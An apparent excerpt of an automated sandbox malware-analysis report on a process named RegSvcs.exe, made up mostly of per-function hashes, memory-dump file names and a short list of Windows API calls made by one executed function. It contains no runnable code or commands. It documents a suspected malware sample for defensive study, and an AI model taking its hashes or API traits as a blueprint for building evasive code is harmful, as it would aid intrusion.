Instruction Fuzzy Hash: CA118F747042409FE764CF29D898E53BBF9FF89614B1489A9E44ACB252D735EC06CB50

Function 06518800 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fef6fbd114a178bb2ab1b859716084650684b07c3257a689e8fbdf7a6fe0425
Instruction ID: 577e4f829bf443a434f465c9f1db53b8c915e09d10e86c80fa193fa7e1b26a9a
Opcode Fuzzy Hash: 9fef6fbd114a178bb2ab1b859716084650684b07c3257a689e8fbdf7a6fe0425
Instruction Fuzzy Hash: 56119031F003149FE758EB69E8157AE7AB2FBC4710F408929E445AB384EF306D068BD6

Function 06512F57 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f9aa1a1b96345ec64d9a85165f589b198bcac8aaac9d27c60a592f97b47db82
Instruction ID: c6b9bdaaf8d2ea7ff1759544ecc7f9beadceb6a58e5c3f93a2a1a464c0576942
Opcode Fuzzy Hash: 0f9aa1a1b96345ec64d9a85165f589b198bcac8aaac9d27c60a592f97b47db82
Instruction Fuzzy Hash: D61180357043019FD720CF69C8989A6BBF5FF8A251B18886EE59ADB752DA31EC01CB50

Function 06515D00 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff721909b08a8db4c43e865a0c71094cd02a528f9e4661a9453d16738af986b
Instruction ID: 3f7f11e6ad337c5d439dc1307de0429e6dab11ece604102002018a89984e2c8b
Opcode Fuzzy Hash: 2ff721909b08a8db4c43e865a0c71094cd02a528f9e4661a9453d16738af986b
Instruction Fuzzy Hash: BE01C030B102188BDB09AB68D86D7AE7BB2AFC8700F104529E801AF384CF785D028BD5

Function 06512F68 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93b35c9687628369a1a998fdd0e12adaab55bcb1be5d698a20b8a12fee8094ee
Instruction ID: 4f8e49f70c3ca9be91e62f582e7f858abe92a69f5fbf5c3cb243581dd0d8a093
Opcode Fuzzy Hash: 93b35c9687628369a1a998fdd0e12adaab55bcb1be5d698a20b8a12fee8094ee
Instruction Fuzzy Hash: 2E0162357002055FE710CF69D898966B7E5FF8D261B184869F589DF751DB32EC018B90

Function 0107D809 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59498093818.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_107d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ce45947a9f4efe64aeab188a40ae45faeba9024d5a362068f0ac0bf0e5bba0
Instruction ID: 1ad570c3c4212dd6827f92ce7b61009cfdd9adb842cfaca63bddcebf3d9ab9ae
Opcode Fuzzy Hash: 96ce45947a9f4efe64aeab188a40ae45faeba9024d5a362068f0ac0bf0e5bba0
Instruction Fuzzy Hash: 8101D471904340AEE7905A9A8C84B66FFE8EF81670F18845AED8D0A286D3399440CBB5

Function 06519200 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68d11744434272ae8cc2830dd19c09f1c7025988543b8bf54517ee027f727100
Instruction ID: 66d3d870a7d7a3004fd2340e711367c86475d2b01276dc719154543dbf93d77a
Opcode Fuzzy Hash: 68d11744434272ae8cc2830dd19c09f1c7025988543b8bf54517ee027f727100
Instruction Fuzzy Hash: 7E1103B58003488FDB20DF9AC8847DEFBF5AB48210F248419C519A7240C378A944CFA1

Function 06518847 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ab4fbda21e1df71f321c6a458119b70d5de20853c74aede604e678bab02a83
Instruction ID: 7b0068ecdd7ffd6928a3a5bb43b27d0629dbb5a81449a5074a57a9df46bbf8bc
Opcode Fuzzy Hash: d9ab4fbda21e1df71f321c6a458119b70d5de20853c74aede604e678bab02a83
Instruction Fuzzy Hash: 5BF0C230B403104BE758BB68E850B9D77A3FBC4B20F404A18E5425F384DF746C4687C6

Function 0107D808 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59498093818.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_107d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0aa7573826e24b8e2131ac953be3ac2f5da651699e2143a17874b6bf6cd4cee
Instruction ID: e298c3e07277524571fb462c0ed6c1047ef023c779996c83f980b4d6aecc991e
Opcode Fuzzy Hash: b0aa7573826e24b8e2131ac953be3ac2f5da651699e2143a17874b6bf6cd4cee
Instruction Fuzzy Hash: 45F0C271804344AEE7508A5ACCC4B62FFE8EF41770F28C45AED480B287C3799844CBB0

Function 06513D12 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3908ca3a06261e2ed6be1fd2460bd5c7e55be9fae5c2ceac51f0e10eede55626
Instruction ID: 76d88367b46f09091b07d241c58ba99443049db1123c522c2fd202e2ab3f11e4
Opcode Fuzzy Hash: 3908ca3a06261e2ed6be1fd2460bd5c7e55be9fae5c2ceac51f0e10eede55626
Instruction Fuzzy Hash: 03F049306143449FD765CF28C8A0DA67BF4BF85244715896AE496CF621E760EE05DF80

Function 06518488 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7ba7b32cb54ac07a8c9022ded998b08d13695148255bb011d1e2f6b414c8e3c
Instruction ID: 44e48b71df41f160821e299f78fc237028127af19856e1e72200a970b719a8d2
Opcode Fuzzy Hash: f7ba7b32cb54ac07a8c9022ded998b08d13695148255bb011d1e2f6b414c8e3c
Instruction Fuzzy Hash: 17E09279512244AFCB11CB72CD01A8A3FB5EE4228131040E6E008CF221DA318E04C7D1

Function 06518772 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad0d3fe68a3dd389f333cd57a1d6f109a572ca56ed20d7f88c651fcdb7d61a45
Instruction ID: 5f766d0d41c34edb21ddbaa2077a344d22ec679fa8015f63efbd99540e58c897
Opcode Fuzzy Hash: ad0d3fe68a3dd389f333cd57a1d6f109a572ca56ed20d7f88c651fcdb7d61a45
Instruction Fuzzy Hash: BDE086715071845FD717D7B19D1185A7F74DE8219430801D6A0498F253DE214B15D7F1

Function 02880899 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59499182811.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2880000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d2dc3b5fa25f9b1a5e8f7a0fe0e25c08e2c44a17341ff33cf7701ddfefcbffa
Instruction ID: d4d3b15f55f34f921a319712c554ff58b9b20948bb1c7a44c93ac4783c294399
Opcode Fuzzy Hash: 2d2dc3b5fa25f9b1a5e8f7a0fe0e25c08e2c44a17341ff33cf7701ddfefcbffa
Instruction Fuzzy Hash: 33E09A3490A389AFC702EBB8D81099D7FB8AA86104B1040DAE4C8CF212DA315E059752

Function 06518538 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 656167da76616b845eedd3fae085b5e104b92d525f159e29c2c35ddb6b80de8e
Instruction ID: 0a05638593bc3f636b6da920a0605d6f54ef5d210f306d3fabcd540fd0d53120
Opcode Fuzzy Hash: 656167da76616b845eedd3fae085b5e104b92d525f159e29c2c35ddb6b80de8e
Instruction Fuzzy Hash: 9BE086319173589FC706DFE88D406DA3FB5EE8614074001E2D448DB251D5305A25D791

Function 06517F08 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1456ace539e1d5e46b7ea9ebd05a77429f4e72750d77758339557fd005eac58
Instruction ID: ae83582bde58b1ffdb989c7a6d36276d07e2a691c27740ca620b9f9c2317d875
Opcode Fuzzy Hash: b1456ace539e1d5e46b7ea9ebd05a77429f4e72750d77758339557fd005eac58
Instruction Fuzzy Hash: D0E02C329087408FC301EB68DD218D6FBB0EF83200709899FD4CA87612E720A847CBB2

Function 06516881 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1bf8304f3dbbe7f201f1ee6e6f70922afec2684c341c32924aba400791a4a49
Instruction ID: cc660288ef237fd961dd901c21602a576df828dab1eda80f5d2959d71a67b97f
Opcode Fuzzy Hash: c1bf8304f3dbbe7f201f1ee6e6f70922afec2684c341c32924aba400791a4a49
Instruction Fuzzy Hash: 23E0127610D250AFC712CF64E950947FFE2AF9A644B04888AE48597352C522DC56C772

Function 06518571 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ca9ac4591a48fd2815a08837c668662e2a18b00205676e0d059a1153795548f
Instruction ID: 412c777987f0dae31f0608b7973abd72c74e1815f681ad08672f050f94c27729
Opcode Fuzzy Hash: 2ca9ac4591a48fd2815a08837c668662e2a18b00205676e0d059a1153795548f
Instruction Fuzzy Hash: C4E08C3910E2C15BC302CF64ED00C46BFA2AB8A640B04488EE48453263C6219D16CB72

Function 06516700 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae4ec0100d1c38dfce9a22b9c044744e065d626e8a0e7bcd24c171482548f8d6
Instruction ID: 7aa90508483ad92f29df7dd35abbe83b16abb7d2b9ad5599d4cada082fed7898
Opcode Fuzzy Hash: ae4ec0100d1c38dfce9a22b9c044744e065d626e8a0e7bcd24c171482548f8d6
Instruction Fuzzy Hash: 15E0173010C3C08FC30ADB50D8518A3FFB5EBD6214719C8AFE4A6C7262C775A816CB61

Function 06516960 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bb3de37e41f650a7c3e3b1e4b2a4c37b6106399695c12263bc68e6bd411098b
Instruction ID: f7a5c34be2cdbc97052eed240ff05b3ca4ff2bc9cd9c7bc175c65bb56d502b8d
Opcode Fuzzy Hash: 8bb3de37e41f650a7c3e3b1e4b2a4c37b6106399695c12263bc68e6bd411098b
Instruction Fuzzy Hash: EBD0E23510C3D08FC302CB64A4204A2FBB1AF8B200729988FD4D987253C662E80ACB22

Function 06514A29 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8e90fe999635edefb8dc17a6ea2311197b943e47ebca31ae75e2dc0d2b9b27d
Instruction ID: 56e48efa1d38548e84e385ad19b8fdf7614e28415289a33d047022b803a223b0
Opcode Fuzzy Hash: f8e90fe999635edefb8dc17a6ea2311197b943e47ebca31ae75e2dc0d2b9b27d
Instruction Fuzzy Hash: 35D05E751182915FE244DB58D815B62BBA6FBC9204F09C85AF8C043355CA619C43C795

Function 06515EF8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18a59e73aa90f77ec1c29051e6f64a2c60f00efdb4edaed179481aff5ae0345
Instruction ID: 055bc5cc5d8e1a60eb5125885636118d135f3df034af3007e09899b7496fc7d2
Opcode Fuzzy Hash: b18a59e73aa90f77ec1c29051e6f64a2c60f00efdb4edaed179481aff5ae0345
Instruction Fuzzy Hash: 57D05E765092019FC241CF64EE45D57BBA2EBD6704B09844EB448A6361EA22CC5ACA72

Function 028808A8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59499182811.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2880000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7f17ede566a53f50088ff86abf73f09a183b8cb37a12848a58af292aff50925
Instruction ID: d8970f415e151df22d8410a245cf927ca706d21bcd5db0e8ae0c844674dc6d08
Opcode Fuzzy Hash: f7f17ede566a53f50088ff86abf73f09a183b8cb37a12848a58af292aff50925
Instruction Fuzzy Hash: AFD01770A0420DEFCB00EFA8E955A9DB7B9EB84200B1085A9D848DB200EB316E009B95

Function 06518AD0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a69fce691be828654f0f5e3e09796e8f69cf5c0aaf3a9330b194421da193a648
Instruction ID: b947b43ffcd9cd15d18bdb1553bbbee3dfb1bad5517a082ab760d343f6d46d91
Opcode Fuzzy Hash: a69fce691be828654f0f5e3e09796e8f69cf5c0aaf3a9330b194421da193a648
Instruction Fuzzy Hash: F9D0926251E6808BD316C2748D66AD2BFE18A56288319C89AC4D98A293C622A80BC765

Function 06514628 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 372116bfaccd07c895e35743cbe45488da045ac6d596af0d291fcb2205cca8f7
Instruction ID: 91d7d4fecabe50391625dd54b8a6402922cf959b35cd98edf120792067fc13e4
Opcode Fuzzy Hash: 372116bfaccd07c895e35743cbe45488da045ac6d596af0d291fcb2205cca8f7
Instruction Fuzzy Hash: 36D052352083808BC244DB88E881A92BB72FBC4204F18880AE49097321C7229823CB52

Function 06518548 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f6ee15c4dce937adb3785f05b1517375d6122bd709eb21d1201decbc2da2f1
Instruction ID: bcc046ea6808ecc2f08fbec7c8537fb2577ee45b344eb1d62dbfab462b4bc02e
Opcode Fuzzy Hash: 85f6ee15c4dce937adb3785f05b1517375d6122bd709eb21d1201decbc2da2f1
Instruction Fuzzy Hash: F1D0C971D1230CEB8B01EFE9994099EB7FDDF85100B5041E69908D7650EA315A209791

Function 065148F8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58728b338a9686286421e88c92693fc0084c7b8c40dbd88513fedd0c02b3be36
Instruction ID: 11a48016791414ee84f23ae07ecb06dadf65784c8ecc5c25704392256191d021
Opcode Fuzzy Hash: 58728b338a9686286421e88c92693fc0084c7b8c40dbd88513fedd0c02b3be36
Instruction Fuzzy Hash: 5DD05E3810C3814FC342CB14E850816BF61AF86104B09888AD49187753CB21D806CB21

Function 06516890 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9742d7865735c7252f6c48a7c294f1d1b4f483eb85901c8c33943e63f37f990d
Instruction ID: 48e8204161933d4df9c7b41a33249025f43fd015cf28c75e97648b457401bf24
Opcode Fuzzy Hash: 9742d7865735c7252f6c48a7c294f1d1b4f483eb85901c8c33943e63f37f990d
Instruction Fuzzy Hash: 84D012752081119F9204CF44E940C6BF7E6EFC8B10B14C84EB84053310CA72DC17CBB2

Function 06518580 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9742d7865735c7252f6c48a7c294f1d1b4f483eb85901c8c33943e63f37f990d
Instruction ID: 48e8204161933d4df9c7b41a33249025f43fd015cf28c75e97648b457401bf24
Opcode Fuzzy Hash: 9742d7865735c7252f6c48a7c294f1d1b4f483eb85901c8c33943e63f37f990d
Instruction Fuzzy Hash: 84D012752081119F9204CF44E940C6BF7E6EFC8B10B14C84EB84053310CA72DC17CBB2

Function 06514F40 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b854b229bc3b0b894efac5a25862f708869f060dc990eb673249d41b3f806bcb
Instruction ID: 36cbb5690bf394351a83950f36538387c2335619ee29e01b2f8de1c28562c187
Opcode Fuzzy Hash: b854b229bc3b0b894efac5a25862f708869f060dc990eb673249d41b3f806bcb
Instruction Fuzzy Hash: 3EC04C351590845ED245872CE4617657F66AB89209F5CC0A8E4C48B15ACA22D8438644

Function 02880880 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59499182811.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2880000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e79c70bb94e3c9ad59e9150ea7fe97341aac62a55056d2edd37717eda0ee8e2a
Instruction ID: 4c56bc10b44fd654663e9906d2da094d6a402bed8ba47f575be32d93713940af
Opcode Fuzzy Hash: e79c70bb94e3c9ad59e9150ea7fe97341aac62a55056d2edd37717eda0ee8e2a
Instruction Fuzzy Hash: 06C0482020F7C40AD703073888211843F34EE875AC3AE44CBD0C8EF6A3C429580E939A

Function 06518410 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1c942720a41d5c961d0e9339b660b5f560cc0dafc24ea647e77129897261323
Instruction ID: 51a00ed06b62627baaed2d7bb501b7cc0a08c4f15d0bd0226f0849d4298023a4
Opcode Fuzzy Hash: d1c942720a41d5c961d0e9339b660b5f560cc0dafc24ea647e77129897261323
Instruction Fuzzy Hash: 03B0084021FBE02BD71687254CA86D32F679A46295B9A12C6B088890938159562AD6A6

Function 065155D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183d2e50651be697a6be304096969d514b2e586886f71e8e3057dd2e4c42bfd0
Instruction ID: 7438e1ec2a4a8c3c8d11adc7da09ea0c80221a8e2e468359e075268e5ff28742
Opcode Fuzzy Hash: 183d2e50651be697a6be304096969d514b2e586886f71e8e3057dd2e4c42bfd0
Instruction Fuzzy Hash: 34C04C6414E3C04FD306C7249D65451BF305F4610575DA0CAE494CB667D616DD07DB17

Function 06515472 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcea35f40bb54d395e7291bf5a5ab456e9ccce7a6146c64c8d288614f2adfe91
Instruction ID: 027356ce1ef642d8c77911956f437d4203da95506b84db7714c180c7e32c92e4
Opcode Fuzzy Hash: dcea35f40bb54d395e7291bf5a5ab456e9ccce7a6146c64c8d288614f2adfe91
Instruction Fuzzy Hash: F5C02B340001804AD6009364E4103207F32AB86005F18C0C594C00620BCF329403C700

Function 06518420 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction ID: 424522431131923360a2424e5b60fcaca403654da384226d21dcd1d1d325544f
Opcode Fuzzy Hash: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction Fuzzy Hash: B3A001746050109B8689DA58D991818B7A2ABC9219728C4ADA819CB25ACF33E9039A44

Function 06515CE0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction ID: 424522431131923360a2424e5b60fcaca403654da384226d21dcd1d1d325544f
Opcode Fuzzy Hash: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction Fuzzy Hash: B3A001746050109B8689DA58D991818B7A2ABC9219728C4ADA819CB25ACF33E9039A44

Function 06515960 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction ID: 424522431131923360a2424e5b60fcaca403654da384226d21dcd1d1d325544f
Opcode Fuzzy Hash: 848e7b2b3d1d7438aceb18ee9ce77d60f8a3148b9db338e3d364b5add5ce48b1
Instruction Fuzzy Hash: B3A001746050109B8689DA58D991818B7A2ABC9219728C4ADA819CB25ACF33E9039A44

Function 06514C50 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.59538034117.0000000006510000.00000040.00000800.00020000.00000000.sdmp, Offset: 06510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6510000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 584a3913bed7d41f6751d29dc0af2e109adf5df94d8de11209de24b86f245c04
Instruction ID: 2108930940694c1c8b8ad4272d9396267f2db374b9021a0985f6588530823504
Opcode Fuzzy Hash: 584a3913bed7d41f6751d29dc0af2e109adf5df94d8de11209de24b86f245c04
Instruction Fuzzy Hash: 6BA002742010009BC644DB54C991814F761EFC5219728C4DDA8198B256CF33ED03DA40

Analysis Process: RegSvcs.exePID: 9116, Parent PID: 8460COMMON

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.3%
Total number of Nodes:	65
Total number of Limit Nodes:	3

Executed Functions

Function 00408740 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 228
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408764
GetCurrentThreadId.KERNEL32 ref: 0040876E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004087C0
GetForegroundWindow.USER32 ref: 0040884A
ExitProcess.KERNEL32 ref: 00408A04

Strings

b/7, xrefs: 00408794

Memory Dump Source

Source File: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_RegSvcs.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID: b/7
API String ID: 4063528623-2085417233
Opcode ID: 183a38287acbdcb6fd43605bfd40e65d67f3e3b4632bc5cfca641c35649d64ef
Instruction ID: 0d5a416f21ca3bcde6c043f2d710c8a16f1e6c6a059847071c546a7df00bc279
